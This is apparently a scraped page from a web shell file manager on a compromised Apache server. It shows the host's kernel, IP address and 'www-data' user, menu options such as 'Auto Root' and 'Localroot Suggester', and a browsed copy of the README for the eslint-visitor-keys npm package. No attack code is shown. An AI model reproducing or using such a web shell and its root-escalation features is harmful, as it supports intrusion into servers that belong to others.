Linux v69820.1blu.de 4.15.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Apache/2.4.58
Server IP : 195.90.215.149 & Your IP : 216.73.216.250
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
node-eslint-visitor-keys /
Delete
Unzip
Name
Size
Permission
Date
Action
README.html
3.23
KB
-rw-r--r--
2022-09-29 14:31
README.txt
1.99
KB
-rw-r--r--
2022-09-29 14:31
TODO.Debian
120
B
-rw-r--r--
2022-02-24 10:23
changelog.Debian.gz
1.04
KB
-rw-r--r--
2022-09-29 14:31
copyright
2.15
KB
-rw-r--r--
2022-02-24 09:33
Save
Rename
eslint-visitor-keys Constants and utilities about visitor keys to traverse AST. 💿 Installation Use npm to install. $ npm install eslint-visitor-keys Requirements - Node.js ^12.22.0, ^14.17.0, or >=16.0.0 📖 Usage To use in an ESM file: import * as evk from "eslint-visitor-keys" To use in a CommonJS file: const evk = require("eslint-visitor-keys") evk.KEYS type: { [type: string]: string[] | undefined } Visitor keys. This keys are frozen. This is an object. Keys are the type of ESTree nodes. Their values are an array of property names which have child nodes. For example: console.log(evk.KEYS.AssignmentExpression) // → ["left", "right"] evk.getKeys(node) type: (node: object) => string[] Get the visitor keys of a given AST node. This is similar to Object.keys(node) of ES Standard, but some keys are excluded: parent, leadingComments, trailingComments, and names which start with _. This will be used to traverse unknown nodes. For example: const node = { type: "AssignmentExpression", left: { type: "Identifier", name: "foo" }, right: { type: "Literal", value: 0 } } console.log(evk.getKeys(node)) // → ["type", "left", "right"] evk.unionWith(additionalKeys) type: (additionalKeys: object) => { [type: string]: string[] | undefined } Make the union set with evk.KEYS and the given keys. - The order of keys is, additionalKeys is at first, then evk.KEYS is concatenated after that. - It removes duplicated keys as keeping the first one. For example: console.log(evk.unionWith({ MethodDefinition: ["decorators"] })) // → { ..., MethodDefinition: ["decorators", "key", "value"], ... } 📰 Change log See GitHub releases. 🍻 Contributing Welcome. See ESLint contribution guidelines. Development commands - npm test runs tests and measures code coverage. - npm run lint checks source codes with ESLint. - npm run coverage opens the code coverage report of the previous test with your default browser. - npm run release publishes this package to npm registory.